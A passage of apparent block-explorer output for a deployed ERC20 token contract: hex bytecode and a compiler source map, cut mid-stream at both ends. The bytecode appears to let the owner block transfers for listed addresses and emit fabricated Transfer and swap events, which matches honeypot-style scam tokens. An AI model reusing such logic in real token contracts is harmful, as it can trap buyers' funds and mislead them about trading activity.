00000000000000000000000000000000815260040161105790612018565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c7906120aa565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ae91906118e9565b60405180910390a3505050565b60006111c78484610e30565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112415781811015611233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122a90612116565b60405180910390fd5b6112408484848403610ff0565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ae906121a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131e9061223a565b60405180910390fd5b611332838383611701565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b0906122cc565b60405180910390fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061145a5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114b65760011515600560009054906101000a900460ff161515146114b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ac90612312565b60405180910390fd5b5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115a691906118e9565b60405180910390a36115b9848484611706565b50505050565b6115c7610fe8565b73ffffffffffffffffffffffffffffffffffffffff166115e5610a95565b73ffffffffffffffffffffffffffffffffffffffff161461163b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116329061237e565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561174557808201518184015260208101905061172a565b83811115611754576000848401525b50505050565b6000601f19601f8301169050919050565b60006117768261170b565b6117808185611716565b9350611790818560208601611727565b6117998161175a565b840191505092915050565b600060208201905081810360008301526117be818461176b565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117fb826117d0565b9050919050565b61180b816117f0565b811461181657600080fd5b50565b60008135905061182881611802565b92915050565b6000819050919050565b6118418161182e565b811461184c57600080fd5b50565b60008135905061185e81611838565b92915050565b6000806040838503121561187b5761187a6117c6565b5b600061188985828601611819565b925050602061189a8582860161184f565b9150509250929050565b60008115159050919050565b6118b9816118a4565b82525050565b60006020820190506118d460008301846118b0565b92915050565b6118e38161182e565b82525050565b60006020820190506118fe60008301846118da565b92915050565b60008060006060848603121561191d5761191c6117c6565b5b600061192b86828701611819565b935050602061193c86828701611819565b925050604061194d8682870161184f565b9150509250925092565b600060ff82169050919050565b61196d81611957565b82525050565b60006020820190506119886000830184611964565b92915050565b6000602082840312156119a4576119a36117c6565b5b60006119b284828501611819565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119e0576119df6119bb565b5b8235905067ffffffffffffffff8111156119fd576119fc6119c0565b5b602083019150836020820283011115611a1957611a186119c5565b5b9250929050565b60008083601f840112611a3657611a356119bb565b5b8235905067ffffffffffffffff811115611a5357611a526119c0565b5b602083019150836020820283011115611a6f57611a6e6119c5565b5b9250929050565b60008060008060008060608789031215611a9357611a926117c6565b5b600087013567ffffffffffffffff811115611ab157611ab06117cb565b5b611abd89828a016119ca565b9650965050602087013567ffffffffffffffff811115611ae057611adf6117cb565b5b611aec89828a016119ca565b9450945050604087013567ffffffffffffffff811115611b0f57611b0e6117cb565b5b611b1b89828a01611a20565b92509250509295509295509295565b60008060208385031215611b4157611b406117c6565b5b600083013567ffffffffffffffff811115611b5f57611b5e6117cb565b5b611b6b858286016119ca565b92509250509250929050565b60008060008060608587031215611b9157611b906117c6565b5b600085013567ffffffffffffffff811115611baf57611bae6117cb565b5b611bbb878288016119ca565b94509450506020611bce8782880161184f565b9250506040611bdf8782880161184f565b91505092959194509250565b611bf4816117f0565b82525050565b6000602082019050611c0f6000830184611beb565b92915050565b60008060408385031215611c2c57611c2b6117c6565b5b6000611c3a85828601611819565b9250506020611c4b85828601611819565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c9c57607f821691505b60208210811415611cb057611caf611c55565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cf08261182e565b9150611cfb8361182e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d3057611d2f611cb6565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d758261182e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611da857611da7611cb6565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000611de2611ddd611dd884611db3565b611dbd565b61182e565b9050919050565b611df281611dc7565b82525050565b6000608082019050611e0d6000830187611de9565b611e1a60208301866118da565b611e2760408301856118da565b611e346060830184611de9565b95945050505050565b6000608082019050611e5260008301876118da565b611e5f6020830186611de9565b611e6c6040830185611de9565b611e7960608301846118da565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611ede602583611716565b9150611ee982611e82565b604082019050919050565b60006020820190508181036000830152611f0d81611ed1565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f70602683611716565b9150611f7b82611f14565b604082019050919050565b60006020820190508181036000830152611f9f81611f63565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612002602483611716565b915061200d82611fa6565b604082019050919050565b6000602082019050818103600083015261203181611ff5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612094602283611716565b915061209f82612038565b604082019050919050565b600060208201905081810360008301526120c381612087565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612100601d83611716565b915061210b826120ca565b602082019050919050565b6000602082019050818103600083015261212f816120f3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612192602583611716565b915061219d82612136565b604082019050919050565b600060208201905081810360008301526121c181612185565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612224602383611716565b915061222f826121c8565b604082019050919050565b6000602082019050818103600083015261225381612217565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006122b6602683611716565b91506122c18261225a565b604082019050919050565b600060208201905081810360008301526122e5816122a9565b9050919050565b50565b60006122fc600083611716565b9150612307826122ec565b600082019050919050565b6000602082019050818103600083015261232b816122ef565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612368602083611716565b915061237382612332565b602082019050919050565b600060208201905081810360008301526123978161235b565b905091905056fea264697066735822122043140c37109490d686bc7722257849c34ad3fec2e4e209eba93d6a2fdf66b73064736f6c634300080c0033

Deployed Bytecode Sourcemap

36611:156:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9033:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11382:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10151:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12163:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9995:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22337:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12867:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21125:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10322:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21379:233;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6133:103;;;:::i;:::-;;20628:275;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21919:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5492:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9252:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21620:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13608:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10655:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21252:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22219:110;;;:::i;:::-;;10911:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20911:206;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6391:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9033:100;9087:13;9120:5;9113:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9033:100;:::o;11382:201::-;11465:4;11482:13;11498:12;:10;:12::i;:::-;11482:28;;11521:32;11530:5;11537:7;11546:6;11521:8;:32::i;:::-;11571:4;11564:11;;;11382:201;;;;:::o;10151:108::-;10212:7;10239:12;;10232:19;;10151:108;:::o;12163:295::-;12294:4;12311:15;12329:12;:10;:12::i;:::-;12311:30;;12352:38;12368:4;12374:7;12383:6;12352:15;:38::i;:::-;12401:27;12411:4;12417:2;12421:6;12401:9;:27::i;:::-;12446:4;12439:11;;;12163:295;;;;;:::o;9995:93::-;10053:5;10078:2;10071:9;;9995:93;:::o;22337:97::-;5378:13;:11;:13::i;:::-;22419:7:::1;22411:5;;:15;;;;;;;;;;;;;;;;;;22337:97:::0;:::o;12867:238::-;12955:4;12972:13;12988:12;:10;:12::i;:::-;12972:28;;13011:64;13020:5;13027:7;13064:10;13036:25;13046:5;13053:7;13036:9;:25::i;:::-;:38;;;;:::i;:::-;13011:8;:64::i;:::-;13093:4;13086:11;;;12867:238;;;;:::o;21125:119::-;21189:4;21213:12;:23;21226:9;21213:23;;;;;;;;;;;;;;;;;;;;;;;;;21206:30;;21125:119;;;:::o;10322:127::-;10396:7;10423:9;:18;10433:7;10423:18;;;;;;;;;;;;;;;;10416:25;;10322:127;;;:::o;21379:233::-;21500:9;21495:110;21519:5;;:12;;21515:1;:16;21495:110;;;21577:3;;21581:1;21577:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21558:35;;21567:5;;21573:1;21567:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21558:35;;;21585:4;;21590:1;21585:7;;;;;;;:::i;:::-;;;;;;;;21558:35;;;;;;:::i;:::-;;;;;;;;21533:3;;;;;:::i;:::-;;;;21495:110;;;;21379:233;;;;;;:::o;6133:103::-;5378:13;:11;:13::i;:::-;6198:30:::1;6225:1;6198:18;:30::i;:::-;6133:103::o:0;20628:275::-;5378:13;:11;:13::i;:::-;20713:9:::1;20708:188;20732:11;;:18;;20728:1;:22;20708:188;;;20803:4;20772:12;:28;20785:11;;20797:1;20785:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20772:28;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;20852:4;;;;;;;;;;;20827:57;;20836:11;;20848:1;20836:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20827:57;;;20858:25;20868:11;;20880:1;20868:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20858:9;:25::i;:::-;20827:57;;;;;;:::i;:::-;;;;;;;;20752:3;;;;;:::i;:::-;;;;20708:188;;;;20628:275:::0;;:::o;21919:292::-;22023:9;22018:186;22042:11;;:18;;22038:1;:22;22018:186;;;22121:11;;22133:1;22121:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22087:49;;22092:10;;;;;;;;;;;22087:49;;;22104:1;22107:3;22112:4;22118:1;22087:49;;;;;;;;;:::i;:::-;;;;;;;;22181:5;;;;;;;;;;;22156:36;;22165:11;;22177:1;22165:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22156:36;;;22188:3;22156:36;;;;;;:::i;:::-;;;;;;;;22062:3;;;;;:::i;:::-;;;;22018:186;;;;21919:292;;;;:::o;5492:87::-;5538:7;5565:6;;;;;;;;;;;5558:13;;5492:87;:::o;9252:104::-;9308:13;9341:7;9334:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9252:104;:::o;21620:291::-;21722:9;21717:187;21741:11;;:18;;21737:1;:22;21717:187;;;21820:11;;21832:1;21820:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21786:49;;21791:10;;;;;;;;;;;21786:49;;;21803:3;21808:1;21811;21814:4;21786:49;;;;;;;;;:::i;:::-;;;;;;;;21871:11;;21883:1;21871:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21855:37;;21864:5;;;;;;;;;;;21855:37;;;21887:4;21855:37;;;;;;:::i;:::-;;;;;;;;21761:3;;;;;:::i;:::-;;;;21717:187;;;;21620:291;;;;:::o;13608:436::-;13701:4;13718:13;13734:12;:10;:12::i;:::-;13718:28;;13757:24;13784:25;13794:5;13801:7;13784:9;:25::i;:::-;13757:52;;13848:15;13828:16;:35;;13820:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;13941:60;13950:5;13957:7;13985:15;13966:16;:34;13941:8;:60::i;:::-;14032:4;14025:11;;;;13608:436;;;;:::o;10655:193::-;10734:4;10751:13;10767:12;:10;:12::i;:::-;10751:28;;10790;10800:5;10807:2;10811:6;10790:9;:28::i;:::-;10836:4;10829:11;;;10655:193;;;;:::o;21252:119::-;21353:3;21337:26;;21346:5;21337:26;;;21358:4;21337:26;;;;;;:::i;:::-;;;;;;;;21252:119;;;:::o;22219:110::-;5378:13;:11;:13::i;:::-;22278:10:::1;22270:28;;:51;22299:21;22270:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;22219:110::o:0;10911:151::-;11000:7;11027:11;:18;11039:5;11027:18;;;;;;;;;;;;;;;:27;11046:7;11027:27;;;;;;;;;;;;;;;;11020:34;;10911:151;;;;:::o;20911:206::-;5378:13;:11;:13::i;:::-;21003:9:::1;20998:112;21022:11;;:18;;21018:1;:22;20998:112;;;21093:5;21062:12;:28;21075:11;;21087:1;21075:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21062:28;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;21042:3;;;;;:::i;:::-;;;;20998:112;;;;20911:206:::0;;:::o;6391:201::-;5378:13;:11;:13::i;:::-;6500:1:::1;6480:22;;:8;:22;;;;6472:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6556:28;6575:8;6556:18;:28::i;:::-;6391:201:::0;:::o;4201:98::-;4254:7;4281:10;4274:17;;4201:98;:::o;17730:380::-;17883:1;17866:19;;:5;:19;;;;17858:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17964:1;17945:21;;:7;:21;;;;17937:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18048:6;18018:11;:18;18030:5;18018:18;;;;;;;;;;;;;;;:27;18037:7;18018:27;;;;;;;;;;;;;;;:36;;;;18086:7;18070:32;;18079:5;18070:32;;;18095:6;18070:32;;;;;;:::i;:::-;;;;;;;;17730:380;;;:::o;18401:453::-;18536:24;18563:25;18573:5;18580:7;18563:9;:25::i;:::-;18536:52;;18623:17;18603:16;:37;18599:248;;18685:6;18665:16;:26;;18657:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18769:51;18778:5;18785:7;18813:6;18794:16;:25;18769:8;:51::i;:::-;18599:248;18525:329;18401:453;;;:::o;14514:935::-;14661:1;14645:18;;:4;:18;;;;14637:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14738:1;14724:16;;:2;:16;;;;14716:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;14793:38;14814:4;14820:2;14824:6;14793:20;:38::i;:::-;14844:19;14866:9;:15;14876:4;14866:15;;;;;;;;;;;;;;;;14844:37;;14915:6;14900:11;:21;;14892:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;14979:12;:18;14992:4;14979:18;;;;;;;;;;;;;;;;;;;;;;;;;:38;;;;15001:12;:16;15014:2;15001:16;;;;;;;;;;;;;;;;;;;;;;;;;14979:38;14975:84;;;15050:4;15027:27;;:19;;;;;;;;;;;:27;;;15019:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;14975:84;15127:6;15113:11;:20;15095:9;:15;15105:4;15095:15;;;;;;;;;;;;;;;:38;;;;15330:6;15313:9;:13;15323:2;15313:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;15380:2;15365:26;;15374:4;15365:26;;;15384:6;15365:26;;;;;;:::i;:::-;;;;;;;;15404:37;15424:4;15430:2;15434:6;15404:19;:37::i;:::-;14626:823;14514:935;;;:::o;5657:132::-;5732:12;:10;:12::i;:::-;5721:23;;:7;:5;:7::i;:::-;:23;;;5713:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5657:132::o;6752:191::-;6826:16;6845:6;;;;;;;;;;;6826:25;;6871:8;6862:6;;:17;;;;;;;;;;;;;;;;;;6926:8;6895:40;;6916:8;6895:40;;;;;;;;;;;;6815:128;6752:191;:::o;20186:125::-;;;;:::o;19458:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:117::-;5345:1;5342;5335:12;5359:117;5468:1;5465;5458:12;5482:117;5591:1;5588;5581:12;5622:568;5695:8;5705:6;5755:3;5748:4;5740:6;5736:17;5732:27;5722:122;;5763:79;;:::i;:::-;5722:122;5876:6;5863:20;5853:30;;5906:18;5898:6;5895:30;5892:117;;;5928:79;;:::i;:::-;5892:117;6042:4;6034:6;6030:17;6018:29;;6096:3;6088:4;6080:6;6076:17;6066:8;6062:32;6059:41;6056:128;;;6103:79;;:::i;:::-;6056:128;5622:568;;;;;:::o;6213:::-;6286:8;6296:6;6346:3;6339:4;6331:6;6327:17;6323:27;6313:122;;6354:79;;:::i;:::-;6313:122;6467:6;6454:20;6444:30;;6497:18;6489:6;6486:30;6483:117;;;6519:79;;:::i;:::-;6483:117;6633:4;6625:6;6621:17;6609:29;;6687:3;6679:4;6671:6;6667:17;6657:8;6653:32;6650:41;6647:128;;;6694:79;;:::i;:::-;6647:128;6213:568;;;;;:::o;6787:1309::-;6945:6;6953;6961;6969;6977;6985;7034:2;7022:9;7013:7;7009:23;7005:32;7002:119;;;7040:79;;:::i;:::-;7002:119;7188:1;7177:9;7173:17;7160:31;7218:18;7210:6;7207:30;7204:117;;;7240:79;;:::i;:::-;7204:117;7353:80;7425:7;7416:6;7405:9;7401:22;7353:80;:::i;:::-;7335:98;;;;7131:312;7510:2;7499:9;7495:18;7482:32;7541:18;7533:6;7530:30;7527:117;;;7563:79;;:::i;:::-;7527:117;7676:80;7748:7;7739:6;7728:9;7724:22;7676:80;:::i;:::-;7658:98;;;;7453:313;7833:2;7822:9;7818:18;7805:32;7864:18;7856:6;7853:30;7850:117;;;7886:79;;:::i;:::-;7850:117;7999:80;8071:7;8062:6;8051:9;8047:22;7999:80;:::i;:::-;7981:98;;;;7776:313;6787:1309;;;;;;;;:::o;8102:559::-;8188:6;8196;8245:2;8233:9;8224:7;8220:23;8216:32;8213:119;;;8251:79;;:::i;:::-;8213:119;8399:1;8388:9;8384:17;8371:31;8429:18;8421:6;8418:30;8415:117;;;8451:79;;:::i;:::-;8415:117;8564:80;8636:7;8627:6;8616:9;8612:22;8564:80;:::i;:::-;8546:98;;;;8342:312;8102:559;;;;;:::o;8667:849::-;8771:6;8779;8787;8795;8844:2;8832:9;8823:7;8819:23;8815:32;8812:119;;;8850:79;;:::i;:::-;8812:119;8998:1;8987:9;8983:17;8970:31;9028:18;9020:6;9017:30;9014:117;;;9050:79;;:::i;:::-;9014:117;9163:80;9235:7;9226:6;9215:9;9211:22;9163:80;:::i;:::-;9145:98;;;;8941:312;9292:2;9318:53;9363:7;9354:6;9343:9;9339:22;9318:53;:::i;:::-;9308:63;;9263:118;9420:2;9446:53;9491:7;9482:6;9471:9;9467:22;9446:53;:::i;:::-;9436:63;;9391:118;8667:849;;;;;;;:::o;9522:118::-;9609:24;9627:5;9609:24;:::i;:::-;9604:3;9597:37;9522:118;;:::o;9646:222::-;9739:4;9777:2;9766:9;9762:18;9754:26;;9790:71;9858:1;9847:9;9843:17;9834:6;9790:71;:::i;:::-;9646:222;;;;:::o;9874:474::-;9942:6;9950;9999:2;9987:9;9978:7;9974:23;9970:32;9967:119;;;10005:79;;:::i;:::-;9967:119;10125:1;10150:53;10195:7;10186:6;10175:9;10171:22;10150:53;:::i;:::-;10140:63;;10096:117;10252:2;10278:53;10323:7;10314:6;10303:9;10299:22;10278:53;:::i;:::-;10268:63;;10223:118;9874:474;;;;;:::o;10354:180::-;10402:77;10399:1;10392:88;10499:4;10496:1;10489:15;10523:4;10520:1;10513:15;10540:320;10584:6;10621:1;10615:4;10611:12;10601:22;;10668:1;10662:4;10658:12;10689:18;10679:81;;10745:4;10737:6;10733:17;10723:27;;10679:81;10807:2;10799:6;10796:14;10776:18;10773:38;10770:84;;;10826:18;;:::i;:::-;10770:84;10591:269;10540:320;;;:::o;10866:180::-;10914:77;10911:1;10904:88;11011:4;11008:1;11001:15;11035:4;11032:1;11025:15;11052:305;11092:3;11111:20;11129:1;11111:20;:::i;:::-;11106:25;;11145:20;11163:1;11145:20;:::i;:::-;11140:25;;11299:1;11231:66;11227:74;11224:1;11221:81;11218:107;;;11305:18;;:::i;:::-;11218:107;11349:1;11346;11342:9;11335:16;;11052:305;;;;:::o;11363:180::-;11411:77;11408:1;11401:88;11508:4;11505:1;11498:15;11532:4;11529:1;11522:15;11549:233;11588:3;11611:24;11629:5;11611:24;:::i;:::-;11602:33;;11657:66;11650:5;11647:77;11644:103;;;11727:18;;:::i;:::-;11644:103;11774:1;11767:5;11763:13;11756:20;;11549:233;;;:::o;11788:85::-;11833:7;11862:5;11851:16;;11788:85;;;:::o;11879:60::-;11907:3;11928:5;11921:12;;11879:60;;;:::o;11945:158::-;12003:9;12036:61;12054:42;12063:32;12089:5;12063:32;:::i;:::-;12054:42;:::i;:::-;12036:61;:::i;:::-;12023:74;;11945:158;;;:::o;12109:147::-;12204:45;12243:5;12204:45;:::i;:::-;12199:3;12192:58;12109:147;;:::o;12262:585::-;12455:4;12493:3;12482:9;12478:19;12470:27;;12507:79;12583:1;12572:9;12568:17;12559:6;12507:79;:::i;:::-;12596:72;12664:2;12653:9;12649:18;12640:6;12596:72;:::i;:::-;12678;12746:2;12735:9;12731:18;12722:6;12678:72;:::i;:::-;12760:80;12836:2;12825:9;12821:18;12812:6;12760:80;:::i;:::-;12262:585;;;;;;;:::o;12853:::-;13046:4;13084:3;13073:9;13069:19;13061:27;;13098:71;13166:1;13155:9;13151:17;13142:6;13098:71;:::i;:::-;13179:80;13255:2;13244:9;13240:18;13231:6;13179:80;:::i;:::-;13269;13345:2;13334:9;13330:18;13321:6;13269:80;:::i;:::-;13359:72;13427:2;13416:9;13412:18;13403:6;13359:72;:::i;:::-;12853:585;;;;;;;:::o;13444:224::-;13584:34;13580:1;13572:6;